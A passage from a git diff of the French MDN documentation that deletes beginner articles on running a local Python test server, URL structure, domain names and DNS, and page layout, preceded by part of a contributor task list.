Cette action ressemble beaucoup à la relecture d'un terme du glossaire présentée plus haut. Elle prend plus de temps car les articles sont généralement plus longs.
-
Écrire un nouvel article dans la section « Apprendre » (4 heures)
-
Cette section a besoin d'articles simples et directs sur le web et les notions fonctionnelles attenantes. Ces articles doivent être écrits dans un but pédagogique : il ne s'agit pas de couvrir l'exhaustivité d'un domaine ou d'un concept mais d'en expliquer l'essentiel. Cet équilibre est difficile à trouver et c'est là que votre expérience toute particulière entre en jeu.
-
Créer des exercices, des quizz ou des outils d'apprentissage interactifs (? heures)
-
Les différents articles pédagogiques ont besoin d'éléments de « apprentissage actif » car chacun apprend mieux en faisant soi-même. Ces éléments peuvent être des exercices ou du contenu interactif qui permet à un utilisateur d'appliquer et de manipuler les concepts détaillés dans un article. De nombreux outils existent pour créer de tels exemples : JSFiddle, Thimble. Libérez votre créativité !
-
Créer des chemins d'apprentissage (? hours)
-
Afin de fournir des tutoriels progressifs et compréhensibles, les articles doivent être organisés en suites logiques. Cette organisation permet d'utiliser le contenu existant et d'identifier ce qui manque (auquel cas un nouvel article sera le bienvenu).
-
diff --git a/files/fr/apprendre/common_questions/configurer_un_serveur_de_test_local/index.html b/files/fr/apprendre/common_questions/configurer_un_serveur_de_test_local/index.html deleted file mode 100644 index c9deed5e9b..0000000000 --- a/files/fr/apprendre/common_questions/configurer_un_serveur_de_test_local/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Comment configurer un serveur de test local ? -slug: Apprendre/Common_questions/configurer_un_serveur_de_test_local -tags: - - Apprendre - - Débutant - - Express - - Flask - - Node - - PHP - - Python - - Serveurs - - django - - lamp - - localhost -translation_of: Learn/Common_questions/set_up_a_local_testing_server ---- -
-

Cet article explique comment configurer un serveur de test local simple sur votre machine, et les bases pour l'utiliser.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment Internet fonctionne et ce qu'est un serveur Web.
Objectif:Vous apprendrez à configurer un serveur de test local.
- -

Fichiers locaux contre fichiers distants

- -

Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant Fichier > Ouvrir... et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver.

- -

Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par file:// suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par http:// ou https:// ; dans ce cas le fichier a été servi via HTTP.

- -

Le problème du test local

- -

Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont :

- - - -

Créer un serveur HTTP local simple

- -

Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module SimpleHTTPServer de Python permet une mise en œuvre simple de cette solution.

- -

Voilà la marche à suivre :

- -
    -
  1. -

    Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) :

    - -
      -
    • Allez à python.org
      • -
    • Sous Télécharger, cliquez le lien pour Python "3.xxx".
      • -
    • Tout en bas de la page,  télécharger le fichier pointé par le lien Windows x86 executable installer.
      • -
    • Exécuter ce programme quand le téléchargement est fini.
      • -
    • Sur la première page de l'installeur, assurez-vous d'avoir coché la case  "Ajouter Python 3.xxx to PATH".
      • -
    • Cliquer Install, puis Fermer quand l'installation est complète.
      • -
    -
    2. -
  2. -

    Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante :

    - - 
    python -V
    -
    3. -
  3. -

    Elle devrait retourner un numéro de version. Si c'est le cas, en utilisant la commande cd, placer votre répertoire de travail dans le dossier contenant l'exemple.

    - - 
    #inclure le nom du dossier pour y s'y rendre,
-#par exemple
-cd Bureau
-# utiliser deux points pour remonter dans
-#le dossier parent si nécessaire
-cd ..
    -
    4. -
  4. -

    Entrer la commande pour démarrer le serveur dans ce dossier.

    - - 
    # Si la version de Python retournée est ultérieur à 3.X
-python3 -m http.server
-# Si la version de Python retournée est ultérieur à 2.X
-python -m SimpleHTTPServer
    -
    5. -
  5. -

    Par défaut, il affiche la liste des fichiers  du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant  l'URL localhost:8000 dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter.

    -
    6. -
- -
-

Note : Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple python -m http.server 7800 (Python 3.x) ou python -m SimpleHTTPServer 7800 (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse localhost:7800.

-
- -

Faire fonctionner localement des langages serveur

- -

Le module SimpleHTTPServer de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples :

- - diff --git a/files/fr/apprendre/common_questions/index.html b/files/fr/apprendre/common_questions/index.html deleted file mode 100644 index 3dc2df9fca..0000000000 --- a/files/fr/apprendre/common_questions/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Questions fréquentes -slug: Apprendre/Common_questions -tags: - - Learn - - Web - - WebMechanics -translation_of: Learn/Common_questions ---- -
{{LearnSidebar}}
- -

Cette section de la zone d'apprentissage est là pour fournir des réponses aux questions fréquentes qui peuvent survenir et qui ne concernent pas nécesserairement l'apprentissage du code (par exemple les articles sur HTML ou CSS.) Ces articles sont conçus pour être lus de manière indépendante.

- -

Comment le Web fonctionne

- -

Cette section couvre les mécaniques du Web — les questions en relation avec les connaissances de l'écosystème du web et son fonctionnement.

- -
-
-

Comment fonctionne Internet?

-
-
Internet est la colonne vertébrale du Web, l'infrastructure technique qui rend le Web possible. A sa base, Internet est un vaste réseau d'ordinateurs qui communiquent ensemble. Cet article traite de son fonctionnement, de manière basique.
-
-

Quelle est la différence entre une page web, un site web, un serveur web et un moteur de recherche?

-
-
Dans cet article nous abordons les différents concepts liés au web : une page web, site web, serveur web, et moteur de recherche. Ces termes sont souvent confondus par les nouveaux internautes, ou mal utilisés. Voyons ce que chacun d'eux signifient.
-
-

Qu'est-ce qu'une URL?

-
-
Avec {{Glossary("Hypertext", "le lien hypertexte")}} et {{Glossary("HTTP")}}, l'URL est l'un des principaux concepts du Web. C'est le mécanisme utilisé par le {{Glossary("Browser","navigateur web")}} pour récupérer n'importe quelle ressource publiée sur le Web.
-
-

Qu'est-ce qu'un nom de domaine?

-
-
Les noms de domaine sont une partie essentielle du fonctionnement d'Internet. Ils fournissent une adresse compréhensible pour un humain de n'importe quel serveur web disponible sur Internet.
-
-

Qu'est-ce qu'un serveur Web?

-
-
Le terme "serveur Web" peut indiquer le matériel ou le logiciel qui fournissent les sites web aux clients à travers le web — ou les deux travaillant ensemble. Dans cet article nous verrons comment fonctionnent les serveurs web et quelle est leur importance.
-
-

Que sont les liens hypertextes?

-
-
Dans cet article nous verrons ce que sont les liens hypertextes et pourquoi ils sont importants.
-
- -

Outils et installation

- -

Questions relatives aux outils/logiciels que vous pouvez utiliser pour construire des sites web.

- -
-
-

Combien ça coûte de créer quelque chose sur le Web?

-
-
Quand vous démarrez votre site web, vous pouvez ne rien dépenser ou alors complètement dépasser vos estimations.  Dans cet article nous aborderons le prix de chaque chose et de ce que vous aurez si vous payez (ou ne payez pas).
-
-

Quel logiciel est nécessaire pour construire un site web?

-
-
Dans cet article nous expliquerons quel logiciel est nécessaire pour l'édition, l'upload, ou pour la visualisation d'un site web.
-
-

Quels sont les éditeurs disponibles?

-
-
Dans cet article nous mettrons en avant quelques points à retenir concernant le choix et l'installation d'un éditeur de texte pour le développement web.
-
-

Comment installer un environnement de base pour travailler?

-
-
Quand vous travaillez sur un projet web, vous souhaiterez le tester en local avant de l'exposer à tout le monde. Certains types de code nécessitent un serveur web pour tester, dans cet article nous allons vous montrer comment le configurer. Nous allons aussi voir une structure à mettre en place afin que les fichiers restent organisés quand le projet grandira.
-
-

Que sont les outils de développement du navigateur?

-
-
Chaque navigateur web possède un ensemble d'outils d'aide au développement du HTML, CSS, et des autres codes. Cet article explique comment utiliser les outils de développement de votre navigateur.
-
-

Comment être sûr que votre site fonctionne correctement?

-
-
Alors vous avez publié votre site web en ligne — très bien ! Mais êtes vous sûr qu'il fonctionne correctement ? Cet article fourni quelques étapes de dépannage basique.
-
-

Comment transférer des fichiers vers un serveur web?

-
-
Cet article montre comment mettre son site en ligne en utilisant un outil FTP — un des moyens les plus fréquents de publier son site afin qu'il soit disponible aux autres depuis leurs ordinateurs.
-
-

Comment utiliser GitHub Pages?

-
-
Cet article fourni un guide basique pour publier du contenu en utilisant l'outil gh-pages de GitHub.
-
-

Comment héberger son site sur Google App Engine?

-
-
Vous recherchez un endroit pour héberger votre site web? Voici un guide pas-à-pas pour héberger votre site sur Google App Engine.
-
-

Quels outils sont disponibles pour corriger et améliorer les performances du site web?

-
-
Cette série d'articles vous montre comment utiliser les Outils de Développement de Firefox afin de déboguer et améliorer les performances de votre site web, en utilisant les outils pour vérifier l'utilisation de la mémoire, l'arbre d'appel de JavaScript, la quantité de noeuds DOM affichée, et plus encore.
-
- -

Conception et accessibilité

- -

Cette section rassemble les questions liées à l'esthétique, la structure des pages, aux techniques d'accessibilité, etc.

- -
-
-

Comment démarrer dans la conception  de mon site web?

-
-
Cet article couvre la première étape la plus importante de tous les projets: définir ce que vous voulez accomplir avec.
-
-

Que contiennent les mises en page classiques?

-
-
Lorsque vous concevez des pages pour votre site Web, il est bon d'avoir une idée des mises en page les plus courantes. Cet article présente quelques mises en page typiques du web, en analysant les parties qui composent chacune d'entre elles.
-
-

Qu'est-ce-que l'accessibilité?

-
-
Cet article est une introduction aux concepts de base de l'accessibilité web.
-
-

Comment concevoir pour tous les types d'utilisateurs?

-
-
Cet article fournit quelques techniques de base afin de vous aider dans la conception de sites web adaptés à tous les types d'utilisateurs — de rapides astuces d'accessibilité, en quelque sorte.
-
-

Quelles fonctionnalités HTML favorisent l'accessibilité?

-
-
Cet article décrit les fonctionnalités spécifiques d'HTML qui peuvent être utilisées afin de rendre les pages accessibles aux personnes ayant certaines difficultées.
-
- -

Questions HTML, CSS et JavaScript

- -

Pour les solutions fréquentes aux problèmes de HTML/CSS/JavaScript, essayez les articles suivants:

- - diff --git a/files/fr/apprendre/comprendre_les_url/index.html b/files/fr/apprendre/comprendre_les_url/index.html deleted file mode 100644 index 85448c44bb..0000000000 --- a/files/fr/apprendre/comprendre_les_url/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: Comprendre les URL et leur structure -slug: Apprendre/Comprendre_les_URL -tags: - - Beginner - - Infrastructure - - Learn - - NeedsActiveLearning - - URL -translation_of: Learn/Common_questions/What_is_a_URL ---- -
-

Cet article aborde les Uniform Resource Locators (URL) en expliquant leur rôle et leur structure.

-
- - - - - - - - - - - - -
Prérequis :Vous devez au préalable savoir comment fonctionne Internet, ce qu'est une serveur web et les concepts sous-jacents aux liens sur le Web.
Objectifs :Savoir ce qu'est une URL et comprendre son rôle sur le Web.
- -

Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les URL sont une autre pierre angulaire du Web.  Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web.

- -

URL signifie Uniform Resource Locator (ou, en français, « localisateur uniforme de ressource »). Une URL est simplement l'adresse d'une ressource donnée, unique sur le Web. En théorie, chaque URL valide pointe vers une ressource unique. Ces ressources peuvent être des pages HTML, des documents CSS, des images, etc. En pratique, il y a quelques exceptions : les URL peuvent pointer vers une ressource qui n'existe plus ou qui a été déplacée. La ressource représentée par l'URL et l'URL elle-même sont gérées par le serveur web. C'est donc au gestionnaire de ce serveur que de gérer soigneusement la ressource et l'URL associée.

- -

Pédagogie active

- -

Il n'y a pour le moment pas d'élément de pédagogie active. N'hésitez pas à contribuer.

- -

Aller plus loin

- -

Les bases : l'anatomie d'une URL

- -

Voici quelques exemples d'URL :

- -
https://developer.mozilla.org
-https://developer.mozilla.org/fr/docs/Apprendre/
-https://developer.mozilla.org/fr/search?q=URL
- -

Vous pouvez saisir chacune de ces URL dans la barre d'adresse de votre navigateur afin que celui chaque la ressource associée (ici des pages HTML).

- -

Une URL se compose de différents fragments dont certains sont obligatoires et d'autres optionnels. Pour commencer, voyons les parties les plus importantes d'une URL :

- -
http://www.exemple.com:80/chemin/vers/monfichier.html?clé1=valeur1&clé2=valeur2#QuelquePartDansLeDocument
- -
-
Protocol
-
http:// correspond au protocole. Ce fragment indique au navigateur le protocole qui doit être utilisé pour récupérer le contenu. Généralement, ce protocole sera HTTP ou sa version sécurisée : HTTPS. Le « Web » fonctionne autour de ces deux protocoles mais le navigateur peut parfois gérer d'autres protocoles comme mailto: (qui permet d'ouvrir un client de messagerie électronique) ou ftp: qui permet de transférer des fichiers. Ne soyez pas surpris donc si vous rencontrez ces autres protocoles.
-
Domaine Name
-
www.exemple.com correspond au nom de domaine. Il indique le serveur web auquel le navigateur s'adresse pour échanger le contenu. À la place du nom de domaine, on peut utiliser une {{Glossary("adresse IP")}}, ce qui sera moins pratique (et qui est donc moins utilisé sur le Web).
-
Port
-
:80 correspond au port utilisé sur le serveur web. Il indique la « porte » technique à utiliser pour accéder aux ressources du serveur. Généralement, ce fragment est absent car le navigateur utilise les ports standards associés aux protocoles (80 pour HTTP, 443 pour HTTPS). Si le port utilisé par le serveur n'est pas celui par défaut, il faudra l'indiquer.
-
Path to the file
-
/chemin/vers/monfichier.html est le chemin, sur le serveur web, vers la ressource. Aux débuts du Web, ce chemin correspondait souvent à un chemin « physique » existant sur le serveur. De nos jours, ce chemin n'est qu'une abstraction qui est gérée par le serveur web, il ne correspond plus à une réalité « physique ».
-
Parameters
-
?clé1=valeur1&clé2=valeur2 sont des paramètres supplémentaires fournis au serveur web. Ces paramètres sont construits sous la forme d'une liste de paires de clé/valeur dont chaque élément est séparé par une esperluette (&). Le serveur web pourra utiliser ces paramètres pour effectuer des actions supplémentaires avant d'envoyer la ressource. Chaque serveur web possède ses propres règles quant aux paramètres. Afin de les connaître, le mieux est de demander au propriétaire du serveur.
-
Anchor
-
#QuelquePartDansLeDocument correspond à une ancre, celle-ci désigne un endroit donné de la ressource. Une ancre représente, en quelque sorte, un marque-page à l'intérieur de la ressource. Ajouter une ancre à une URL permet au navigateur d'afficher la ressource à l'endroit de ce marque page. Pour un document HTML, par exemple, le navigateur défilera la page jusqu'au niveau de l'ancre. Pour un document audio ou vidéo, le navigateur ira se placer à l'instant représenté par l'ancre. On notera également que la partie de l'URL située après le # n'est jamais envoyée au serveur avec la requête.
-
- -
-

Note : Il existe d'autres fragments et d'autres règles pour les URL mais ceux-ci ne sont pas pertinent pour le développement web et ne sont pas nécessaires pour pouvoir construire des URL tout à fait fonctionnelles.

-
- -

On peut comparer les URL avec les adresses postales : le protocole représente le service postal qu'on souhaite utiliser, le nom de domaine correspond à la ville et le port au code postal, le chemin indique le bâtiment où la lettre doit être acheminée et les paramètres pourraient indique le numéro de l'appartement, enfin l'ancre désigne la personne à laquelle la lettre est adressée.

- -

Comment utiliser les URL

- -

N'importe quelle URL peut être saisie dans la barre d'adresse du navigateur afin d'accéder à la ressource correspondante mais ce n'est pas tout !

- -

Le langage {{Glossary("HTML")}} — que nous verrons par la suite — permet de tirer parti des URL :

- - - -

D'autres technologies web comme {{Glossary("CSS")}} ou {{Glossary("JavaScript")}}, utilisent les URL de façon intensive.

- -

Les URL absolues et les URL relatives

- -

L'URL que nous avons disséquée avant est une URL absolue et il existe également des URL relatives. Expliquons ici cette différence.

- -

Les fragments nécessaires pour construire une URL fonctionnelle dépendent du contexte dans lequel l'URL est utilisée. Dans la barre d'adresse du navigateur, il n'y a aucun contexte et il faut donc fournir une URL complète (ou absolue) comme celles que nous avons vus avant. Il n'est pas nécessaire d'inclure le protocole (le navigateur utilisera HTTP par défaut) ou le port (qui est nécessaire uniquement si le serveur web utilise des ports non conventionnels), en revanche, les autres fragments seront nécessaires.

- -

Lorsqu'une URL est utilisée dans un document (par exemple dans une page HTML), les choses sont différentes car le navigateur connaît déjà l'URL du document courant et pourra l'utiliser pour en déduire certaines informations afin de compléter les URL contenues dans le document. Une URL absolue se distingue d'une URL relative au niveau du chemin. Si le chemin de l'URL commence par le symbole "/", le navigateur ira cherche la ressource à la racine du serveur sans utiliser le contexte du document courant.

- -

Prenons quelques exemples concrets pour illustrer le concept.

- -

Exemples d'URL absolues

- -
-
URL complète
-
- 
https://developer.mozilla.org/fr/docs/Apprendre
-
-
Protocole implicite
-
- 
//developer.mozilla.org/fr/docs/Apprendre
- -

Dans ce cas, le navigateur saura que l'URL utilise le même protocole que celui utilisé pour charger le document qui contient cette URL.

-
-
Nom de domaine implicite
-
- 
/fr/docs/Apprendre
- -

Voici le cas le plus fréquent d'une URL absolue dans un document HTML. Le navigateur utilisera alors le même protocole et le même nom de domaine que ceux utilisés pour charger le document qui contient l'URL.

- -
-

Note : Il n'est pas possible d'omettre le nom de domaine sans omettre le protocole.

-
-
-
- -

Exemples d'URL relatives

- -

Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante  https://developer.mozilla.org/fr/docs/Apprendre

- -
-
Sous-ressources
-
- 
Compétences/Infrastructure/Comprendre_les_URL
-
- L'URL ne commence pas pas /, le navigateur essaiera de trouver le document visé dans un sous-répertoire de la ressource actuelle. Dans cet exemple, l'URL absolue correspondante du document auquel on souhaite accéder est : https://developer.mozilla.org/fr/docs/Apprendre/Compétences/Infrastructure/Comprendre_les_URL
-
Remonter dans l'arborescence des dossiers
-
- 
../CSS/display
- -

Dans ce cas, on utilise la convention, héritée du monde UNIX :  ../ indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display, qui peut être simplifiée en : https://developer.mozilla.org/fr/docs/CSS/display

-
-
- -

Les URL sémantiques

- -

Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des URL sémantiques.  Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance.

- -

Les ordinateurs n'ont pas strictement besoin d'utiliser des URL sémantiques et vous avez déjà sûrement rencontré des URL pleines de charabia et de caractères aléatoires, URL qui fonctionnaient parfaitement. Cela dit, il y a plusieurs avantages à créer des URL compréhensibles par les humains :

- - - -

Prochaines étapes

- - diff --git a/files/fr/apprendre/comprendre_noms_de_domaine/index.html b/files/fr/apprendre/comprendre_noms_de_domaine/index.html deleted file mode 100644 index bc8bc301ef..0000000000 --- a/files/fr/apprendre/comprendre_noms_de_domaine/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Comprendre les noms de domaine -slug: Apprendre/Comprendre_noms_de_domaine -tags: - - Beginner - - Domain names - - Infrastructure - - Learn - - Web -translation_of: Learn/Common_questions/What_is_a_domain_name ---- -
-

Dans cet article, nous discutons des noms de domaine : ce qu'ils sont, comment ils sont organisés et comment en avoir un.

-
- - - - - - - - - - - - -
Prérequis :Pour commencer, vous devez comprendre comment Internet fonctionne et ce que sont les URL.
Objectif :Apprendre ce qu'est un nom de domaine, son fonctionnement et son importance.
- -

Les noms de domaine jouent un rôle clé dans l'infrastructure d'Internet. Ils fournissent des adresses, humainement compréhensibles pour retrouver des serveurs web connectés sur Internet.

- -

Tout ordinateur relié à Internet peut être contacté via une adresse {{Glossary("IP")}} publique. En IPv4, cette adresse est constituée de 32 bits, souvent exprimés avec quatre groupes de chiffes, compris entre 0 et 225, séparés par des points (par exemple 173.194.121.32). Avec IPv6, on a 128 bits, soit huit groupes de quatre chiffres hexadécimaux séparés par deux points (par exemple 2001:0db8:85a3:0042:1000:8a2e:0370:7334). Les ordinateurs n'ont aucun problème pour mémoriser ces adresses mais ça peut être difficile pour quelqu'un de faire le rapprochement entre un site web/service et cette adresse. De plus, le site peut « déménager » sur un autre ordinateur, l'ordinateur peut changer d'adresse... Dans ces cas, l'adresse correspondante à un site sera modifiée au cours du temps : il faudra alors utiliser la nouvelle adresse pour l'atteindre. Afin de résoudre ces problèmes (mémorisation et stabilité), on utilise des adresses compréhensibles appelée noms de domaine.

- -

Pédagogie active

- -

Ce contenu a besoin d'être enrichi, n'hésitez pas à contribuer !

- - - -

Allons plus loin

- -

La structure d'un nom de domaine

- -

Un nom de domaine est composé de plusieurs parties, séparées par des points. Ces différents composants sont lus de droite à gauche :

- -

Anatomy of the MDN domain name

- -

Chacune de ces parties fournit des informations sur le nom de domaine dans son ensemble.

- -
-
{{Glossary("TLD")}} (Top-Level Domain en anglais qui signifie domaine de premier niveau)
-
Le TLD fournit une information générique purement indicative sur le service associé au nom de domaine. Certains TLD peuvent indiquer que le site ou service provient d'un pays donné (par exemple : .us, .fr ou .sh qui correspondent aux États-Unis, à la France et à Sainte-Hélène), d'autres TLD sont génériques (par exemple : .com, .org, .net).
-
Composant
-
Les composants sont les différents fragments d'un nom de domaine (le TLD est le premier composant). Un composant peut être une lettre ou une phrase entière (sans espace). Ce composant situé juste après le TLD est parfois appelé « domaine de deuxième niveau » (ou Secondary Level Domain (SLD) en anglais). Un nom de domaine peut avoir plusieurs composants. Il n'est pas nécessaire ni obligatoire qu'il ait trois composants. Par exemple, www.inf.ed.ac.uk est un nom de domaine tout à fait correct (il a 5 composants dont le TLD). Lorsqu'on possède la partie « supérieure » d'un nom de domaine (par exemple : mozilla.org), on peut créer d'autres noms de domaines sous celui-ci (par exemple : developer.mozilla.org), ceux-ci sont parfois appelés « sous-domaines ».
-
- -

Acheter un nom de domaine

- -

Qui possède un nom de domaine ?

- -

Il est impossible d' « acheter » un nom de domaine. Vous payez pour le droit d'utiliser un nom de domaine pendant une période donnée (généralement un an ou plus). Il est possible de renouveller ce droit et ce renouvellement a la priorité sur les demandes d'autres personnes qui souhaiteraient bénéficier de ce nom de domaine.

- -

Très souvent, ce sont des entreprises appelées bureaux d'enregistrement qui maintiennent les registres contenant les informations techniques et administratives qui vous lient à votre nom de domaine.

- -
-

Note : Pour certains noms de domaines, ce n'est pas un bureau d'enregistrement qui gèrera les registres. Par exemple les noms de domaines sous .fire sont gérés par Amazon.

-
- -

Trouver un nom de domaine disponible

- -

Pour déterminer si un nom de domaine est disponible :

- - - -
$ whois mozilla.org
-Domain Name:MOZILLA.ORG
-Domain ID: D1409563-LROR
-Creation Date: 1998-01-24T05:00:00Z
-Updated Date: 2013-12-08T01:16:57Z
-Registry Expiry Date: 2015-01-23T05:00:00Z
-Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
-Sponsoring Registrar IANA ID: 292
-WHOIS Server:
-Referral URL:
-Domain Status: clientDeleteProhibited
-Domain Status: clientTransferProhibited
-Domain Status: clientUpdateProhibited
-Registrant ID:mmr-33684
-Registrant Name:DNS Admin
-Registrant Organization:Mozilla Foundation
-Registrant Street: 650 Castro St Ste 300
-Registrant City:Mountain View
-Registrant State/Province:CA
-Registrant Postal Code:94041
-Registrant Country:US
-Registrant Phone:+1.6509030800
-
- -

Comme on peut le voir ici, on ne peut pas réserver mozilla.org car ce nom de domaine est déjà réservé par la Fondation Mozilla.

- -

Essayons avec un autre, par exemple unnométrange.fr :

- -
> whois unnométrange.fr
-...
-%% No entries found in the AFNIC Database.
- -

On voit ici que ce nom de domaine n'existe pas dans les bases de données de serveurs whois (au moment où nous écrivons cet article). Si vous le souhaitiez, vous pourriez réserver ce nom !

- -

Obtenir un nom de domaine

- -

Le processus est assez simple :

- -
    -
  1. Aller sur le site web d'un bureau d'enregistrement
    2. -
  2. Généralement, celui-ci possède une zone mise en avant pour rechercher la disponibilité d'un nom de domaine et le réserver le cas échéant. Saisissez le nom qui vous intéresse
    3. -
  3. Il est ensuite nécessaire de remplir un formulaire avec différentes informations et détails. Assurez-vous de leur exactitude et surtout faites attention à l'orthographe choisie pour votre nom de domaine ! Une fois que vous aurez payé, il sera trop tard !
    4. -
  4. Le bureau d'enregistrement vous informera dès que le nom de domaine sera enregistré et vous pourrez alors l'utiliser. Il faut parfois quelques heures pour qu'un nouveau nom de domaine soit enregistré.
    5. -
- -
-

Note : Lors de ces étapes, le bureau d'enregistrement peut vous demander votre adresse postale. Assurez-vous que la valeur saisie est valide car les bureaux d'enregistrement de certains pays peuvent fermer un domaine si l'adresse fournie est invalide.

-
- -

Rafraîchissement du DNS

- -

Des bases de données DNS sont stockées sur chaque serveur DNS, partout dans le monde. Ces serveurs font tous référence à un serveur racine et à quelques uns appelés « serveurs faisant autorité ». Dès lors qu'un bureau d'enregistrement crée ou met à jour une information pour un domaine donné, il faut que cette information soit mise à jour pour chaque base de données DNS. Or, pour faciliter certaines tâches, chaque serveur DNS stocke les informations pour une période donnée avant que celles-ci soient considérées invalides (le serveur DNS demandera alors les informations à jour au serveur faisant autorité). Pour cette raison, la mise à jour peut prendre un certain temps pendant lequel tous les serveurs DNS concernés récupèrent des informations « rafraîchies ».

- -
-

Note : Ce temps est parfois appelé temps de propagation. Cependant ce terme n'est pas précis ni correct car la mise à jour ne se « propage » pas des serveurs faisant autorité vers les différents serveurs DNS. Ce sont les serveurs DNS, interrogés par votre ordinateur, qui demandent l'information aux serveurs faisant autorité dès qu'ils ont besoin des informations pour un nom de domaine ou que celles-ci sont arrivées à expiration.

-
- -

Comment fonctionne une requête DNS ?

- -

Comme nous l'avons mentionné au début, quand on souhaite se rendre sur un site web via un navigateur, il est plus facile que de saisir une URL avec un nom de domaine que de saisir l'adresse IP du serveur correspondant. Voyons ce qui se passe quand on saisit une adresse :

- -
    -
  1. Vous saisissez mozilla.org dans la barre d'adresse du navigateur.
    2. -
  2. Le navigateur analyse l'URL (l'adresse) et identifie le nom de domaine. Il demande alors à votre ordinateur si celui-ci connaît l'adresse IP associée à ce nom de domaine (grâce à un cache DNS local). Si l'ordinateur connaît le nom de domaine, il la convertit en une adresse et la transmet au navigateur web qui échange alors avec le serveur qui a cette adresse. C'est tout.
    3. -
  3. Si votre ordinateur ne connait pas l'adresse IP associée au nom mozilla.org, il continue et demande à un serveur DNS, celui-ci renverra alors l'adresse IP correspondante au nom de domaine demandé.
    4. -
  4. Une fois que l'ordinateur connaît l'adresse IP demandée, le navigateur peut commencer à échanger du contenu avec le serveur web.
    5. -
- -

Explanation of the steps needed to obtain the result to a DNS request

- -
-

Note : Si c'est la première fois que quelqu'un demande l'adresse IP pour mozilla.org au serveur DNS, celui-ci ne la connaîtra pas. Il demandera alors au serveur faisant autorité qui possède l'information. Une fois l'adresse connue, il la transmettra à l'ordinateur.

-
- -

Étapes suivantes

- -

Dans ces articles, nous avons beaucoup discuté des processus et de l'infrastructure. Nous allons maintenant passer à la suite :

- - diff --git "a/files/fr/apprendre/comp\303\251tences/index.html" "b/files/fr/apprendre/comp\303\251tences/index.html" deleted file mode 100644 index b1aee4ae00..0000000000 --- "a/files/fr/apprendre/comp\303\251tences/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Compétences -slug: Apprendre/Compétences -tags: - - Index -translation_of: Learn -translation_of_original: Learn/Skills ---- -

Lorsqu'il s'agit d'apprendre le développement Web, il existe plusieurs compétences, listées par WebMaker dans la littéracie web : une carte destinée aux débutants pour apprendre les bases. Sur MDN, les articles de cette section sont consacrés au développement de sites web et sont destinés à tous publics :

- -
-
Les mécanismes du Web
-
Comprendre l'écosystème du Web.
-
Infrastructure
-
Comprendre l'aspect technique du Web.
-
Coder/Scripter
-
Créer des expériences interactives sur le Web.
-
Conception et accessibilité
-
Utiliser les ressources du Web pour communiquer efficacement avec tout le monde.
-
Écrire pour le Web
-
Créer et organiser du contenu sur le Web.
-
diff --git a/files/fr/apprendre/concevoir_page_web/index.html b/files/fr/apprendre/concevoir_page_web/index.html deleted file mode 100644 index 0c50cec44c..0000000000 --- a/files/fr/apprendre/concevoir_page_web/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Conception d'une page web -slug: Apprendre/Concevoir_page_web -tags: - - Beginner - - CSS - - Design - - HTML - - NeedsActiveLearning -translation_of: Learn/Common_questions/Common_web_layouts ---- -
{{IncludeSubnav("/fr/Apprendre")}}
-
-

Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés.

-
- - - - - - - - - - - - -
Prérequis :Assurez-vous d'avoir d'abord identifié ce que vous souhaitez accomplir avec votre projet web.
Objectif :Apprendre où (et comment !) disposer des éléments dans vos pages web.
- -

Nous avons une bonne raison de vous initier à la conception web. Vous commencez avec une page vierge, puis vous devez choisir entre tellement de possibilités… Si vous avez peu d'expérience, la page blanche initiale pourrait vous paraître intimidante. Comme nous avons plus de 25 ans d'expérience dans le domaine, nous allons vous présenter quelques règles générales qui pourront vous aider dans la conception de votre site web.

- -

Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes :

- -
-
En-tête
-
Visible au haut de chaque page du site, cette section comprend des informations pertinentes pour l'ensemble des pages (par exemple, le nom du site ou un logo) et un menu de navigation convivial.
-
Contenu principal
-
Cette section occupe la plus grande partie de l'espace et contient du contenu unique, relatif à la page consultée.
-
Contenu secondaire
-
